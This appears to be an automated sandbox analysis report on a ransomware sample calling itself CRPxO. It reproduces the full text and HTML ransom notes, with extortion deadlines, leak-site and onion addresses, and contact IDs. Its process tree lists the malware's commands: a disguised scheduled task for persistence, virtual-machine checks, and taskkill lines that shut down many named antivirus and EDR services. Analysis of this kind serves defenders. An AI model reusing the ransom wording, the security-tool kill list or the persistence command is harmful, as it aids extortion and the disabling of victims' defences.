Analysis
- max time kernel
145s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 03:21
General
- Target sys_7f6670d8.exe
- Size 3.7MB
- Sample260804-dwh14acb89
- SHA256 bac340524549410f51b060f21abb7db30c0c5378edd2e3ac15b526e141417e89
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\HOW TO RECOVER.txt
Ransom Note
- ================================================================================ CRPxO - YOUR FILES HAVE BEEN ENCRYPTED ================================================================================ All your documents, databases, backups, images, and other important files have been secured using military-grade encryption (AES-256 + RSA-2048). BEFORE ENCRYPTION, A COPY OF YOUR DATA WAS DOWNLOADED TO OUR SECURE SERVERS Do not panic! Your data is safe but inaccessible at the moment. ================================================================================ HOW TO RECOVER YOUR FILES ================================================================================ We offer a structured resolution timeline to resolve this matter privately. - If you contact us within the first 24 hours, you will receive a 50% discount. - If you contact us between 24 and 48 hours, the full price applies. - After 48 hours, your data will be permanently published on our leak site and made available for sale to your competitors and the public. We already have a copy of all your sensitive data. Pay to keep it private. Your window to act is limited. Contact us immediately. ================================================================================ YOUR UNIQUE RECOVERY ID ================================================================================ RECOVERY ID: OP_1785697059 ================================================================================ VERIFY YOUR LEAK STATUS ================================================================================ Your data is listed on our public leak site: https://crpx0.su Alternatively, access our site via Tor (for anonymous access): http://tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onion To access the Tor link, download Tor Browser from: https://www.torproject.org On your case page, you will find attached proof files that confirm we have exfiltrated your data. These are real files from your system. ================================================================================ FREE DECRYPTION AS PROOF ================================================================================ To prove we have a working decryptor, you may send us 3-5 small files (non-archived, less than 4MB total) of your choice. These files should NOT contain sensitive information. We will decrypt them and send them back to you at no charge. This proves that we have a working decryption tool and that we can restore all your files once payment is made. Contact us using the methods below and we will provide instructions. ================================================================================ CONTACT US IMMEDIATELY ================================================================================ You must contact us using ONE of the secure channels below. Include your RECOVERY ID in your first message. ================================================================================ METHOD 1 - Secure Negotiation Room (Recommended) ================================================================================ We have set up a secure negotiation room on the darknet for you to resolve this matter privately and confidentially. 1. Download Tor Browser: https://www.torproject.org 2. Install and open Tor Browser 3. Visit our negotiation room: http://kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onion 4. Enter your RECOVERY ID: OP_1785697059 5. Follow the instructions to begin secure negotiation. This channel is fully encrypted and anonymous. No logs are kept. ================================================================================ METHOD 2 - qTox (Encrypted Chat) ================================================================================ 1. Download qTox: https://qtox.github.io 2. Install and open qTox 3. Add our Tox ID as a friend: Tox ID: 17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C 4. Send your RECOVERY ID: OP_1785697059 5. Wait for instructions to pay and receive your decryption tool. ================================================================================ METHOD 3 - Session (Private Messenger) ================================================================================ 1. Download Session: https://getsession.org 2. Install and open Session 3. Start a new conversation with our Session ID: Session ID: 050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25b 4. Send your RECOVERY ID: OP_1785697059 5. Follow the payment instructions you receive. ================================================================================ WARNING ================================================================================ - Do NOT attempt to decrypt files yourself - permanent data loss will occur. - Do NOT rename or modify encrypted files - they will become unrecoverable. - Do NOT contact law enforcement or data recovery services - they cannot help, and your data will be leaked immediately. - Only we can provide the decryption key. - Only we can prevent your data from being published. We are a business. You are a business. We are offering a commercial solution to a technical problem. We are only interested in a resolution that benefits both parties. ================================================================================ WHAT HAPPENS NEXT ================================================================================ 1. Contact us via the Secure Negotiation Room, qTox, or Session with your RECOVERY ID. 2. You will receive payment instructions (Bitcoin / Monero). 3. After payment confirmation, you will receive your decryption tool. 4. We will delete your stolen data from our servers and provide proof. 5. Run the decryption tool to restore all your files. ================================================================================ FINAL WARNING ================================================================================ TIME REMAINING: 48 HOURS After 48 hours: - Your data will be published on our leak site (https://crpx0.su) Tor link: http://tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onion (Download Tor Browser from https://www.torproject.org to access the Tor link) - Your data will be offered for sale to your competitors, data brokers, and on dark web markets - Your patients, clients, and business partners will be notified - Your reputation will face permanent and irreversible damage This is your ONLY chance to keep your data private and secure your business. Contact us NOW. ================================================================================
URLs
-
https://crpx0.su
-
http://tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onion
-
http://kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onion
-
https://qtox.github.io
-
https://getsession.org
Extracted
Path
-
C:\Users\Admin\Desktop\HOW TO RECOVER.html
Ransom Note
- <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CRPxO - Recovery Portal</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <style> *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0a0a0f; color: #c8c8d0; font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif; line-height: 1.6; min-height: 100vh; } .container { max-width: 820px; margin: 0 auto; padding: 48px 24px 80px; } .countdown-section { background: linear-gradient(135deg, #1a1a2e, #1e1e36); border: 1px solid #2a2a4a; border-radius: 16px; padding: 32px; margin-bottom: 40px; text-align: center; } .countdown-section .timer-label { font-size: 12px; text-transform: uppercase; letter-spacing: 2px; color: #e74c3c; font-weight: 600; margin-bottom: 12px; } .countdown-section .timer { font-family: 'JetBrains Mono', monospace; font-size: 48px; font-weight: 700; color: #fff; letter-spacing: 4px; } .countdown-section .timer-sub { font-size: 13px; color: #888; margin-top: 8px; } .card { background: #12121e; border: 1px solid #1e1e32; border-radius: 12px; padding: 28px 32px; margin-bottom: 24px; transition: border-color 0.2s; } .card:hover { border-color: #2a2a4a; } .card-label { font-size: 11px; text-transform: uppercase; letter-spacing: 1.5px; color: #e74c3c; font-weight: 600; margin-bottom: 16px; display: flex; align-items: center; gap: 8px; } .card-label .num { display: inline-flex; align-items: center; justify-content: center; width: 22px; height: 22px; border-radius: 6px; background: rgba(231, 76, 60, 0.15); color: #e74c3c; font-size: 12px; font-weight: 700; } .card p, .card li { font-size: 14px; color: #b0b0c0; } .card ul { list-style: none; padding: 0; } .card ul li { padding: 6px 0 6px 20px; position: relative; } .card ul li::before { content: '>'; position: absolute; left: 0; color: #e74c3c; font-weight: 700; font-family: 'JetBrains Mono', monospace; } .recovery-id-box { background: #0a0a14; border: 1px dashed #2a2a4a; border-radius: 10px; padding: 20px; text-align: center; margin: 16px 0; cursor: pointer; transition: border-color 0.2s, background 0.2s; user-select: all; } .recovery-id-box:hover { border-color: #e74c3c; background: #0e0e1c; } .recovery-id-box .label { font-size: 11px; text-transform: uppercase; letter-spacing: 1.5px; color: #666; margin-bottom: 8px; } .recovery-id-box .id { font-family: 'JetBrains Mono', monospace; font-size: 28px; font-weight: 700; color: #e74c3c; letter-spacing: 3px; } .recovery-id-box .hint { font-size: 11px; color: #555; margin-top: 8px; } .link-box { background: #0a0a14; border: 1px solid #1e1e32; border-radius: 8px; padding: 14px 18px; margin: 8px 0; display: flex; align-items: center; gap: 12px; } .link-box .link-icon { color: #e74c3c; font-size: 14px; flex-shrink: 0; } .link-box code { font-family: 'JetBrains Mono', monospace; font-size: 13px; color: #f0f0f0; word-break: break-all; } .link-box .copy-btn { margin-left: auto; flex-shrink: 0; background: none; border: 1px solid #2a2a4a; color: #888; padding: 4px 12px; border-radius: 6px; cursor: pointer; font-size: 11px; transition: all 0.2s; } .link-box .copy-btn:hover { border-color: #e74c3c; color: #e74c3c; } .contact-grid { display: grid; grid-template-columns: 1fr; gap: 16px; } .contact-card { background: #0a0a14; border: 1px solid #1e1e32; border-radius: 10px; padding: 20px 24px; } .contact-card h3 { font-size: 14px; font-weight: 600; color: #f0f0f0; margin-bottom: 12px; display: flex; align-items: center; gap: 8px; } .contact-card h3 .method-icon { width: 28px; height: 28px; border-radius: 6px; display: inline-flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; background: rgba(231, 76, 60, 0.15); color: #e74c3c; } .contact-card .step { font-size: 13px; color: #999; line-height: 1.8; } .contact-card .step strong { color: #ddd; } .contact-card .id-display { font-family: 'JetBrains Mono', monospace; font-size: 12px; color: #f0f0f0; background: #0d0d1a; border: 1px solid #1e1e32; border-radius: 6px; padding: 12px 16px; margin: 10px 0; word-break: break-all; user-select: all; } .warning-box { background: rgba(231, 76, 60, 0.08); border: 1px solid rgba(231, 76, 60, 0.2); border-radius: 10px; padding: 20px 24px; margin-bottom: 24px; } .warning-box .warning-title { color: #e74c3c; font-weight: 600; font-size: 13px; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 10px; } .warning-box ul { list-style: none; padding: 0; } .warning-box ul li { font-size: 13px; color: #b0b0c0; padding: 4px 0 4px 16px; position: relative; } .warning-box ul li::before { content: '\2716'; position: absolute; left: 0; color: #e74c3c; font-size: 10px; } .steps ol { list-style: none; counter-reset: step; padding: 0; } .steps ol li { counter-increment: step; padding: 8px 0 8px 32px; position: relative; font-size: 14px; color: #b0b0c0; } .steps ol li::before { content: counter(step); position: absolute; left: 0; width: 22px; height: 22px; border-radius: 6px; background: rgba(231, 76, 60, 0.15); color: #e74c3c; font-size: 12px; font-weight: 700; display: flex; align-items: center; justify-content: center; } .final-warning { text-align: center; padding: 32px; border: 2px solid rgba(231, 76, 60, 0.3); border-radius: 12px; background: rgba(231, 76, 60, 0.05); margin-top: 16px; } .final-warning h2 { font-size: 20px; color: #e74c3c; margin-bottom: 12px; } .final-warning p { font-size: 13px; color: #999; line-height: 1.8; } @media (max-width: 600px) { .container { padding: 24px 16px 60px; } .card { padding: 20px; } .countdown-section .timer { font-size: 32px; } .recovery-id-box .id { font-size: 20px; } } </style> </head> <body> <div class="container"> <div style="text-align:center;margin-bottom:12px;"> <div style="font-size:42px;font-weight:800;background:linear-gradient(135deg,#e74c3c,#f39c12);-webkit-background-clip:text;-webkit-text-fill-color:transparent;letter-spacing:-1px;">CRPxO Hit Your System</div> <div style="font-size:13px;color:#666;margin-top:6px;letter-spacing:2px;text-transform:uppercase;">Your files are encrypted & data exfiltrated</div> </div> <div class="countdown-section"> <div class="timer-label">Time remaining before data publication</div> <div class="timer" id="countdown">47:59:59</div> <div class="timer-sub">After this timer expires, your data will be permanently published on our leak site</div> </div> <div class="card"> <div class="card-label"><span class="num">!</span> Your files are encrypted</div> <p>All your documents, databases, backups, images, and other important files have been secured using military-grade encryption (AES-256 + RSA-2048). <strong style="color:#e74c3c;">Before encryption, a copy of your data was downloaded to our secure servers.</strong></p> <p style="margin-top:12px;">Do not panic. Your data is safe but temporarily inaccessible. We offer a structured resolution timeline to resolve this matter privately.</p> </div> <div class="card"> <div class="card-label"><span class="num">1</span> Resolution timeline</div> <ul> <li>Contact us within the first 24 hours — receive a <strong style="color:#f39c12;">50% discount</strong></li> <li>Contact us between 24 and 48 hours — the full price applies</li> <li>After 48 hours — your data will be permanently published on our leak site and made available for sale to your competitors and the public</li> </ul> <p style="margin-top:12px;color:#e74c3c;font-weight:500;">We already have a copy of all your sensitive data. Pay to keep it private. Your window to act is limited.</p> </div> <div class="card"> <div class="card-label"><span class="num">2</span> Your recovery ID</div> <div class="recovery-id-box" onclick="copyRecoveryId()"> <div class="label">Recovery ID (click to copy)</div> <div class="id" id="recoveryId">OP_1785697059</div> <div class="hint">Include this ID in all communications</div> </div> </div> <div class="card"> <div class="card-label"><span class="num">3</span> Verify your leak status</div> <p>Your data is listed on our public leak site. Visit the link below to verify that we have exfiltrated your data. Proof files from your system are attached to your case page.</p> <div class="link-box"> <span class="link-icon">→</span> <code id="leakUrl">https://crpx0.su</code> <button class="copy-btn" onclick="copyText('leakUrl')">Copy</button> </div> <div class="link-box"> <span class="link-icon">→</span> <code id="torLink">http://tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onion</code> <button class="copy-btn" onclick="copyText('torLink')">Copy</button> </div> <p style="font-size:12px;color:#666;margin-top:8px;">To access the Tor link, download Tor Browser from <a href="https://www.torproject.org" style="color:#e74c3c;">https://www.torproject.org</a></p> </div> <div class="card"> <div class="card-label"><span class="num">4</span> Free decryption as proof</div> <p>To prove we have a working decryptor, you may send us 3-5 small files (non-archived, less than 4MB total) of your choice. These files should <strong>not</strong> contain sensitive information. We will decrypt them and send them back to you at no charge.</p> <p style="margin-top:8px;">Contact us using the methods below and we will provide instructions.</p> </div> <div class="card"> <div class="card-label"><span class="num">5</span> Contact us immediately</div> <p style="margin-bottom:16px;">You must contact us using one of the secure channels below. Include your <strong style="color:#e74c3c;">Recovery ID</strong> in your first message.</p> <div class="contact-grid"> <div class="contact-card"> <h3><span class="method-icon">N</span> Method 1 — Secure Negotiation Room <span style="font-size:11px;color:#f39c12;font-weight:500;">(Recommended)</span></h3> <p class="step">We have set up a secure negotiation room on the darknet for you to resolve this matter privately and confidentially.</p> <div class="step" style="margin-top:8px;"> <strong>1.</strong> Download Tor Browser: <a href="https://www.torproject.org" style="color:#e74c3c;">https://www.torproject.org</a><br> <strong>2.</strong> Install and open Tor Browser<br> <strong>3.</strong> Visit our negotiation room: </div> <div class="id-display" id="negoUrl">http://kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onion</div> <div class="step"><strong>4.</strong> Enter your Recovery ID: <strong style="color:#e74c3c;">OP_1785697059</strong><br> <strong>5.</strong> Follow the instructions to begin secure negotiation.</div> <p style="font-size:12px;color:#666;margin-top:10px;">This channel is fully encrypted and anonymous. No logs are kept.</p> </div> <div class="contact-card"> <h3><span class="method-icon">T</span> Method 2 — qTox (Encrypted Chat)</h3> <div class="step"> <strong>1.</strong> Download qTox: <a href="https://qtox.github.io" style="color:#e74c3c;">https://qtox.github.io</a><br> <strong>2.</strong> Install and open qTox<br> <strong>3.</strong> Add our Tox ID as a friend: </div> <div class="id-display" id="toxId">17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C</div> <div class="step"><strong>4.</strong> Send your Recovery ID: <strong style="color:#e74c3c;">OP_1785697059</strong><br> <strong>5.</strong> Wait for instructions to pay and receive your decryption tool.</div> </div> <div class="contact-card"> <h3><span class="method-icon">S</span> Method 3 — Session (Private Messenger)</h3> <div class="step"> <strong>1.</strong> Download Session: <a href="https://getsession.org" style="color:#e74c3c;">https://getsession.org</a><br> <strong>2.</strong> Install and open Session<br> <strong>3.</strong> Start a new conversation with our Session ID: </div> <div class="id-display" id="sessionId">050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25b</div> <div class="step"><strong>4.</strong> Send your Recovery ID: <strong style="color:#e74c3c;">OP_1785697059</strong><br> <strong>5.</strong> Follow the payment instructions you receive.</div> </div> </div> </div> <div class="warning-box"> <div class="warning-title">Important warnings</div> <ul> <li>Do NOT attempt to decrypt files yourself — permanent data loss will occur</li> <li>Do NOT rename or modify encrypted files — they will become unrecoverable</li> <li>Do NOT contact law enforcement or data recovery services — they cannot help, and your data will be leaked immediately</li> <li>Only we can provide the decryption key</li> <li>Only we can prevent your data from being published</li> </ul> <p style="margin-top:12px;font-size:13px;color:#999;">We are a business. You are a business. We are offering a commercial solution to a technical problem. We are only interested in a resolution that benefits both parties.</p> </div> <div class="card"> <div class="card-label"><span class="num">6</span> What happens next</div> <div class="steps"> <ol> <li>Contact us via the Secure Negotiation Room, qTox, or Session with your Recovery ID</li> <li>You will receive payment instructions (Bitcoin / Monero)</li> <li>After payment confirmation, you will receive your decryption tool</li> <li>We will delete your stolen data from our servers and provide proof</li> <li>Run the decryption tool to restore all your files</li> </ol> </div> </div> <div class="final-warning"> <h2>TIME REMAINING: 48 HOURS</h2> <p> After 48 hours:<br> • Your data will be published on our leak site<br> • Your data will be offered for sale to your competitors, data brokers, and on dark web markets<br> • Your patients, clients, and business partners will be notified<br> • Your reputation will face permanent and irreversible damage </p> <p style="margin-t
Signatures
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Renames multiple (518) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Executes dropped EXE 8 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 64 IoCs
- Modifies registry class 1 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\sys_7f6670d8.exe"C:\Users\Admin\AppData\Local\Temp\sys_7f6670d8.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\store.dll"C:\Users\Admin\AppData\Local\store.dll"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tar.exetar.exe -xf "C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\py.zip" -C "C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\python"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\python\python.exe" "C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\get-pip.py"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\python\python.exe" "C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\sys_service.py"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /NH /FI "IMAGENAME eq vmtoolsd.exe""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /NH /FI "IMAGENAME eq vmtoolsd.exe"5⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc query VBoxService"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc query VBoxService5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exeC:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe -m pip install cryptography -q4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /f /sc onlogon /tn "OneDrive Sync Maintenance" /tr "\"C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe\" \"C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\sys_service.py\" bootstrap_done""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "OneDrive Sync Maintenance" /tr "\"C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe\" \"C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\sys_service.py\" bootstrap_done"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im CSFalconService.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im CSFalconService.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im cytool.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im cytool.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SavService.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im SavService.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im ccSvcHst.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im ccSvcHst.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im sophos_av.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im sophos_av.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im forticlient.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im forticlient.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im AvastUI.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im AvastUI.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im kavfs.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im kavfs.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fsma32.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im fsma32.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im bdagent.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im bdagent.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im CbDefense.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im CbDefense.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelService.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im SentinelService.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im S1Agent.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im S1Agent.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im CSAgent.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im a2service.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im a2service.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mfeann.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im mfeann.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im avp.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im VipreSvc.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im VipreSvc.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im egui.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im egui.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelWorker.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im SentinelWorker.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im cmdagent.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmdagent.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im a2guard.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im a2guard.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im kes.exe"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im kes.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im rtvscan.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im rtvscan.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im MsMpEng.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthSystray.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im SecurityHealthSystray.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im VipreEndpoint.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im VipreEndpoint.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im NortonSecurity.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im NortonSecurity.exe5⤵
